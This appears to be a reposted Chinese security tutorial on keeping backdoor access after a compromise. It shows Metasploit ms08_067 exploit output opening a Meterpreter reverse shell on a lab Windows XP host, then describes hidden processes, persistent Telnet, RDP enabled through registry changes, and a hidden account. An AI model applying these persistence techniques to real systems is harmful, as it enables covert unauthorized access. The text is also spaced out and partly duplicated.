搜索

[11870] 2017-10-08_来自后方世界的隐匿威胁：后门与持久代理(一）

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2017-10-08_来自后方世界的隐匿威胁：后门与持久代理(一） 来 自 后 方 世 界 的 隐 匿 威 胁 ： 后 门 与 持 久 代 理 ( 一 ） F r e e B u f   2 0 1 7 - 1 0 - 0 8 * 本 文 原 创 作 者 ： 2 c a t ， 属 于 F r e e B u f 原 创 奖 励 计 划 ， 禁 止 转 载 。 干 了 十 几 年 安 全 工 作 ， 发 现 一 些 同 行 只 是 把 简 单 的 工 具 扫 描 和 渗 透 测 试 当 成 了 全 部 工 作 ， 拿 到 需 要 的 数 据 及 测 干 了 十 几 年 安 全 工 作 ， 发 现 一 些 同 行 只 是 把 简 单 的 工 具 扫 描 和 渗 透 测 试 当 成 了 全 部 工 作 ， 拿 到 需 要 的 数 据 及 测 试 结 果 既 为 完 成 工 作 。 可 各 位 兄 弟 ， 咱 扪 心 自 问 ， 这 样 的 安 全 测 试 能 叫 真 的 安 全 吗 ？ 所 拿 到 的 结 果 真 的 就 是 最 试 结 果 既 为 完 成 工 作 。 可 各 位 兄 弟 ， 咱 扪 心 自 问 ， 这 样 的 安 全 测 试 能 叫 真 的 安 全 吗 ？ 所 拿 到 的 结 果 真 的 就 是 最 终 结 果 吗 ？ 下 面 ， 我 想 根 据 自 己 这 些 年 的 经 验 分 享 一 下 在 职 场 中 个 人 理 解 的 渗 透 测 试 。 终 结 果 吗 ？ 下 面 ， 我 想 根 据 自 己 这 些 年 的 经 验 分 享 一 下 在 职 场 中 个 人 理 解 的 渗 透 测 试 。 以 往 ， 我 们 渗 透 的 主 要 目 的 是 测 试 目 标 网 络 环 境 是 否 安 全 ， 是 否 存 在 哪 些 可 见 与 不 可 见 漏 洞 ， 然 后 将 它 们 记 录 下 来 填 充 到 安 全 报 告 中 向 客 户 进 行 展 示 。 其 实 我 个 人 早 期 时 候 也 有 过 同 类 的 想 法 ， 随 着 从 业 时 间 增 多 ， 以 及 接 触 各 式 各 样 的 案 例 之 后 开 始 明 白 ， 渗 透 测 试 主 要 侧 重 于 发 现 在 网 络 中 存 的 安 全 隐 患 ， 并 不 能 及 时 发 现 已 经 被 入 侵 的 主 机 系 统 的 安 全 问 题 。 当 我 们 开 始 做 渗 透 测 试 工 作 时 ， 此 时 的 我 们 正 处 在 一 个 “ 攻 击 者 ” 身 份 ， 那 么 我 们 就 要 站 在 攻 击 者 身 份 角 度 上 来 看 待 所 面 对 的 问 题 。 如 果 被 测 试 目 标 已 被 我 们 所 攻 破 ， 并 且 获 得 了 想 要 的 数 据 ， 那 么 后 面 又 该 做 些 什 么 呢 ？ 就 这 样 悄 悄 地 清 扫 痕 迹 跑 掉 ？ 事 实 并 非 如 此 ， 真 正 的 攻 击 者 会 给 主 机 留 下 后 门 ， 确 保 他 们 随 时 随 地 的 能 够 在 目 标 主 机 中 随 意 出 入 且 不 被 发 现 。 当 然 ， 为 了 不 影 响 整 体 的 连 接 控 制 及 系 统 运 行 速 度 ， 攻 击 者 会 采 用 比 较 合 理 的 方 式 来 保 持 与 目 标 主 机 之 间 的 持 久 交 互 通 信 ， 而 这 种 交 互 需 要 确 保 足 够 长 期 不 易 被 其 它 维 护 人 员 所 发 现 。 我 们 一 般 成 这 种 持 久 交 互 的 工 具 或 是 名 词 术 语 为 ： 后 门 （ B a c k D o o r ） 或 恶 意 软 件 （ R o o t K i t ） 。 现 在 比 较 主 流 的 自 动 化 恶 意 软 件 和 人 为 攻 击 概 念 使 传 统 标 签 的 定 义 变 得 模 糊 。 后 续 我 会 着 重 分 享 几 类 经 典 的 后 门 持 久 代 理 ， 让 兄 弟 们 对 后 门 的 各 种 技 术 有 更 多 的 了 解 和 感 悟 。 下 面 ， 我 们 以 m s 0 8 _ 0 6 7 漏 洞 为 例 来 分 享 演 示 ， 对 一 台 装 有 W i n d o w s   X P 或 w i n d o w s   2 k 3 系 统 的 主 机 进 行 渗 透 测 试 。 执 行 代 码 ： m s f   e x p l o i t ( m s 0 8 _ 0 6 7 _ n e t a p i )   >   e x p l o i t [ * ]   S t a r t e d   r e v e r s e   T C P   h a n d l e r   o n   1 9 2 . 1 6 8 . 2 5 . 1 3 2 : 4 4 4 4   [ * ]   1 9 2 . 1 6 8 . 2 5 . 1 3 3 : 4 4 5   -   A u t o m a t i c a l l y   d e t e c t i n g   t h e   t a r g e t … [ * ]   1 9 2 . 1 6 8 . 2 5 . 1 3 3 : 4 4 5   -   F i n g e r p r i n t :   W i n d o w s   X P   -   S e r v i c e   P a c k   3   -   l a n g : E n g l i s h [ * ]   1 9 2 . 1 6 8 . 2 5 . 1 3 3 : 4 4 5   -   S e l e c t e d   T a r g e t :   W i n d o w s   X P   S P 3   E n g l i s h   ( A l w a y s O n   N X ) [ * ]   1 9 2 . 1 6 8 . 2 5 . 1 3 3 : 4 4 5   -   A t t e m p t i n g   t o   t r i g g e r   t h e   v u l n e r a b i l i t y … [ * ]   S e n d i n g   s t a g e   ( 9 5 7 4 8 7   b y t e s )   t o   1 9 2 . 1 6 8 . 2 5 . 1 3 3 [ * ]   M e t e r p r e t e r   s e s s i o n   1   o p e n e d   ( 1 9 2 . 1 6 8 . 2 5 . 1 3 2 : 4 4 4 4   - >   1 9 2 . 1 6 8 . 2 5 . 1 3 3 : 1 0 3 8 )   a t   2 0 1 7 - 0 7 - 2 5   0 5 : 4 1 : 4 6   - 0 8 0 0 下 图 使 用 e x e c u t e 创 建 一 个 交 互 命 令 ， - H 隐 藏 的 进 程
通 过 命 令 ， 我 们 创 建 一 个 具 有 隐 藏 属 性 的 身 份 进 入 到 系 统 当 中 去 。 很 快 ， 我 们 可 以 在 系 统 进 程 中 找 到 对 应 的 位 置 （ P I D 1 4 4 4 ） ， 正 常 情 况 下 ， 日 常 使 用 人 员 很 能 发 现 隐 藏 c m d 进 程 ， 目 的 是 不 暴 露 我 们 身 份 。 执 行 代 码 ： 当 创 建 新 用 户 完 成 后 ， 我 们 需 要 退 出 W i n d o w s 命 令 S h e l l 。 此 时 需 要 开 始 T e l n e t 服 务 ， 在 提 示 符 后 执 行 r u n 命 令 ：
这 时 我 们 会 看 到 显 示 的 脚 本 内 容 表 示 ， 在 被 入 侵 系 统 当 中 已 经 建 立 了 一 个 持 久 的 T e l n e t 服 务 。 为 了 可 以 随 时 访 问 它 ， 我 们 需 要 用 T e l n e t 命 令 连 接 目 标 主 机 的 I P 地 址 ， 输 入 此 前 建 立 好 的 用 户 名 和 密 码 。 如 果 建 立 的 这 个 持 久 T e l n e t 不 被 目 标 所 发 现 的 话 ， 就 可 以 一 直 持 续 下 去 。 需 要 说 明 的 是 ， T e l n e t 通 常 容 易 被 检 测 到 （ 因 为 以 明 文 形 式 传 送 ） ， 并 且 主 要 使 用 命 令 行 模 式 操 作 ， 所 以 较 为 复 杂 。 测 试 后 我 们 发 现 ： T e l n e t 服 务 可 以 正 常 登 录 和 访 问 目 标 客 户 端 ， 说 明 本 次 渗 透 测 试 并 建 立 t e l n e t 后 门 的 安 全 测 试 成 功 。 接 下 来 ， 我 再 分 享 一 个 采 用 G U I 方 式 来 访 问 被 入 侵 系 统 的 应 用 程 序 ， 通 过 它 启 动 远 程 桌 面 协 议 R D P 。 首 先 ， 我 们 需 要 确 认 是 否 已 经 拥 有 管 理 员 权 限 和 操 作 系 统 的 版 本 ， 那 么 继 续 以 W i n d o w s   X P 为 例 ， 使 用 m e t e r p r e t e r 拿 到 目 标 系 统 交 互 命 令 的 S h e l l 后 ， 输 入 r e g 命 令 来 修 改 注 册 表 信 息 。 为 了 确 保 我 们 所 使 用 的 R D P 协 议 能 够 顺 利 通 过 目 标 防 火 墙 ， 如 果 不 能 正 常 访 问 R D P 还 需 要 通 过 一 些 命 令 来 增 加 主 机 安 全 规 则 。
通 过 上 图 ， 我 们 发 现 系 统 中 远 程 桌 面 R D P 服 务 并 未 开 启 ， 此 时 需 要 我 们 运 行 r u n 命 令 手 动 来 开 启 r d p 该 服 务 。 为 了 确 保 R D P 不 会 再 被 攻 击 目 标 重 启 后 还 能 处 于 开 启 状 态 ， 就 需 要 通 过 s c 命 令 对 他 进 行 一 些 配 置 。 在 确 保 R D P 保 持 长 久 开 启 状 态 后 ， 我 们 为 了 配 合 后 续 操 作 ， 要 创 建 一 个 隐 藏 的 账 户 ， 同 时 对 注 册 表 方 面 也 要 进 行 必 要 的 调 整 来 保 持 它 的 持 久 性 。 执 行 代 码 如 下 ： 此 时 我 们 该 做 的 工 作 基 本 完 成 ， 剩 下 的 就 是 安 全 测 试 阶 段 了 。 使 用 r d e s k t o p 程 序 连 接 到 被 入 侵 的 系 统 远 程 桌 面 。
r o o t @ 2 c a t s : ~ #   r d e s k t o p   - a   1 6   - u   a d m i n   - p   1 2 3 4 5 6   1 9 2 . 1 6 8 . 2 5 . 1 3 3 : 3 3 8 9 我 们 在 安 全 测 试 过 程 中 对 桌 面 的 分 辨 率 、 用 户 名 、 密 码 、 服 务 器 地 址 和 端 口 进 行 相 应 调 整 ， 当 然 ， 大 家 也 可 以 通 过 配 置 注 册 表 来 修 改 远 程 桌 面 的 默 认 端 口 操 作 。 如 上 图 所 示 ， 证 明 我 们 的 安 全 测 试 成 功 了 。 今 天 就 到 这 里 ， 将 两 种 后 门 长 久 连 接 方 式 分 享 给 大 家 ， 希 望 对 新 入 行 的 朋 友 能 够 有 所 帮 助 ， 安 全 渗 透 测 试 技 术 是 一 方 面 ， 其 次 思 路 也 很 重 要 。 * 本 文 原 创 作 者 ： 2 c a t ， 属 于 F r e e B u f 原 创 奖 励 计 划 ， 禁 止 转 载 。 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理